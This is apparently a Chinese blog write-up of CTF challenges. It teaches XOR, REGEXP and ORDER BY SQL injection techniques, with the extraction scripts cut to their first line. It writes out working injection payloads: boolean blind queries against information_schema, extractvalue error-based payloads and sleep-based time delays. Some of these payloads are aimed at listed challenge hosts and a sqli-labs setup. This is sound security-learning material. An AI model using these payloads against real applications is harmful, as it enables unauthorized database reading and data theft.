June 9th 2019, 12:37:58 pm
说在前面
文章已投稿至先知社区,具体内容:从CTF题中学习几种有趣(奇怪)的SQL注入
1.异或注入
在一个师傅的博客中看到这题的Writeup,尝试按照他的payload进行复现,怎么都复现不出来。后来在安全客上看到另一篇异或注入的文章,才把这个题解决了。
初步测试之后会发现,题目过滤了空格,+,*,or,substr
…等一些字符。而且#号注释也不起作用。
于是尝试异或注入。
http://119.23.73.3:5004/?id=1'^'1 返回错误
http://119.23.73.3:5004/?id=1'^'0 返回正常
在MYSQL命令中:
可见,当/?id=1’^’1时,传递到数据库当中,是id=0,由于为0的id不存在,所以这里返回错误。第二个同理。
这里属于布尔盲注,于是构造payload,用脚本跑:
检索数据库:
id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata)),1,1))=104))^'1'='1
检索出来的库为:information_schema,moctf,mysql,performance_schema
检索表:
id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(table_name))FROM(information_schema.tables)WHERE(table_schema='moctf')),1,1))=104))^'1'='1
检索出来的表:do_y0u_l1ke_long_t4ble_name,news
检索字段:
id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(column_name))FROM(information_schema.columns)WHERE(table_name='do_y0u_l1ke_long_t4ble_name')),1,1))=104))^'1'='1
检索出来的字段:d0_you_als0_l1ke_very_long_column_name
读Flag:
id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(d0_you_als0_l1ke_very_long_column_name))FROM(moctf.do_y0u_l1ke_long_t4ble_name)),1,1))=104))^'1'='1
moctfb1ind_SQL_1njecti0n_g0od
脚本:
1 | import requests |
跑出来的Flag:
2.REGEXP盲注
题目链接:http://ctf5.shiyanbar.com/web/earnest/index.php
Writeup(要登录):http://www.shiyanbar.com/ctf/writeup/4828
这道题我本来是信心满满的,然后越做越不对劲。做这道题的时候并没有fuzz的字段还没有逗号,莫名就会被拦截,搞得一头雾水。最后还是跑去看Writeup了。
先fuzz单字符来看看waf。还是拦截了很多的,而且逗号和空格也被过滤了。
除此之外,被过滤的还有:is not, union, sleep, substr, benchmark, substring, and。 并且根据大佬的思路,这里的or,+,*
也都会被替换为空
看来时间盲注是没戏了。并且过滤了逗号。
我们知道,regexp盲注的原理是用正则表达式匹配。
例子:
正常的语句为:select username from users where id = 1
正常返回:admin
构造语句:
select (select username from users where id = 1) regexp '^a' 返回真(1)
select (select username from users where id = 1) regexp '^b' 返回假(0)
因为这里'^a'是匹配以a开头的字符串,原来正常返回的就是admin,所以会返回真。
继续就可以使用 regexp '^ad'...读出想要的数据
那么这里该怎么构造呢?
- 获取version
先用length来判断verison的长度:
id=11'Or(LENGTH(version())=6)Or'1'='
由于^被过滤了,所以用$来从尾部开始读。
脚本:
1 | import requests |
最后跑出来为:“5.6..4”
- 获取数据库名
将上面的word替换为:”0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,”, version()替换为database()即可。
跑出来为:Ctf_sql_bOol_bLInd
- 获取表
注意这里的seperator里面的or要双写。
1 | import requests |
跑出来的表:fIAg@useRs
可能是脚本的原因,我跑出来的表是有大写有小写。
并且这里有个坑就是逗号被过滤了,导致group_concat必须使用separator指定字符来分割。
- 获取字段
1 | import requests |
这里的坑实在是太奇怪了,当word里面不加点号时,跑出来只有:4g,原因是字段的名字为fl$4g,里面包含一个$导致正则匹配错误。
Writeup原作者,将点号加到了word里。跑出来就为:fl..g,可以猜测到字段名为:fl$4g (真的是猜测)
在正则当中,点号是用来匹配任意字符的,这里的$就会被.替代。这里我真的被卡了好久。
- 获取flag
1 | import requests |
最后跑出来的结果为:
Fla.{HAh.~YOu.WIn.}
像跑字段一样尝试之后可以猜测到:
最后的flag为:
flag{haha~you win!}
- 总结
这道题其实可以使用mid来做,会更简单,不会再像这个.号一样需要自己去猜。但还是会很多的坑。
mid方式参考:https://www.cnblogs.com/Ragd0ll/p/8684767.html
这题这样做的意义更多的是学习regexp盲注吧。
3.ORDER BY 注入
先来看一下ORDER BY注入的原理
SELECT username, password FROM users order by 1 asc;
这是一个常见的order by使用语句,后面的数字是列号(也可以指定列名),asc & desc指定是升序还是降序。
注意:在order by后面的不会根据计算的结果来排序。
这里有以下几种方式来进行测试:
直接加报错注入的payload:
直接在order by后面加语句:order by (SELECT extractvalue(1,concat(0x7e,(select @@version),0x7e))) 进行报错注入
rand()方式
rand()会返回一个0和1之间的随机数,如果参数被赋值,同一个参数会返回同一个数。
这里就可以用布尔盲注的方式来进行注入
order by rand(mid(version(),1,1)=5)
当然这里也可以用时间盲注的方式。
and payload时间盲注方式
在order by后面的不会根据计算的结果来排序,但是当我们的payload有延迟命令的时候,页面还是会延迟的。
使用and连接时间延迟payload:
order by 1 and (If(substr(version(),1,1)=5,0,sleep(5)))
这里用sqllib作为一个学习的例子:
它的源代码为:
1 | $id=$_GET['sort']; |
报错注入的payload:
读php版本:
http://127.0.0.1/sqli/Less-46/index.php?sort=(SELECT extractvalue(1,concat(0x7e,(select @@version),0x7e)))--+
读表:
http://127.0.0.1/sqli/Less-46/index.php?sort=(SELECT extractvalue(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = 'security'),0x7e)))--+
读字段:
http://127.0.0.1/sqli/Less-46/index.php?sort=(SELECT extractvalue(1,concat(0x7e,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'users'),0x7e)))--+
读内容:
http://127.0.0.1/sqli/Less-46/index.php?sort=(SELECT extractvalue(1,concat(0x7e,(SELECT group_concat(username) FROM users),0x7e)))--+
rand()方式和and时间盲注的payload基本差不多,这里就不再重复了。
另一种order by注入
我自己写了一个题来学习这一种order by注入。题目过滤了F1g3这个字段名。在id=3时,F1g3字段存在flag的base16编码。(直接过滤Flag会更好)
查询语句:
$sql = "SELECT id, F1ag, username FROM this_1s_th3_fiag_tab13 WHERE id = ".$id.";";
已知:数据库名:user,表名:this_1s_th3_fiag_tab13,字段名:F1g3,列号为2
因为过滤了F1g3这个字段名,我们不能直接用普通盲注的方式得到Flag,所以就得使用一种特别的order by盲注。
访问:
index.php?id=3 union select 1,2,3 order by 1
返回:
id: 1 name: 3
id: 3 name: threezh1
可以看到这里的1,3分别对应了id和name。 并使用了order by指定id排序。
当我们将字段1修改为4时,也就是访问:
index.php?id=3 union select 4,2,3 order by 1
就会返回:
id: 3 name: threezh1
id: 4 name: 3
这是因为,在排序的时候,order by是默认升序排列。select 4,2,3时就会排到后面。
根据这个差异,我们可以指定按第二列来排序,并在select里猜测flag的值。这样就可以不使用F1g3这个字段名就把值读出来。
访问:/index.php?id=3 union select 1,'6',3 order by 2
返回:
id: 1 name: 3
id: 3 name: threezh1
访问:/index.php?id=3 union select 1,'7',3 order by 2
返回:
id: 3 name: threezh1
id: 1 name: 3
出现差别了,因为这里是大于才会出现排序不一样,所以flag的第一个字符为6。
按照这个思路,写出脚本:
1 | import requests |
最后可以直接得到flag的base16编码。
这里有个问题就是,当select 1,2,3 中字段位的数据与数据库里的数据相等时,匹配的时候如果是匹配的是7就是7不用再退一位。
最后跑出来是 666c61677b643067335f74687265657a68317c
那么真实的flag的base16编码为:666c61677b643067335f74687265657a68317d
解码即可
题目源码:
1 |
|
sql:
1 | SET NAMES utf8mb4; |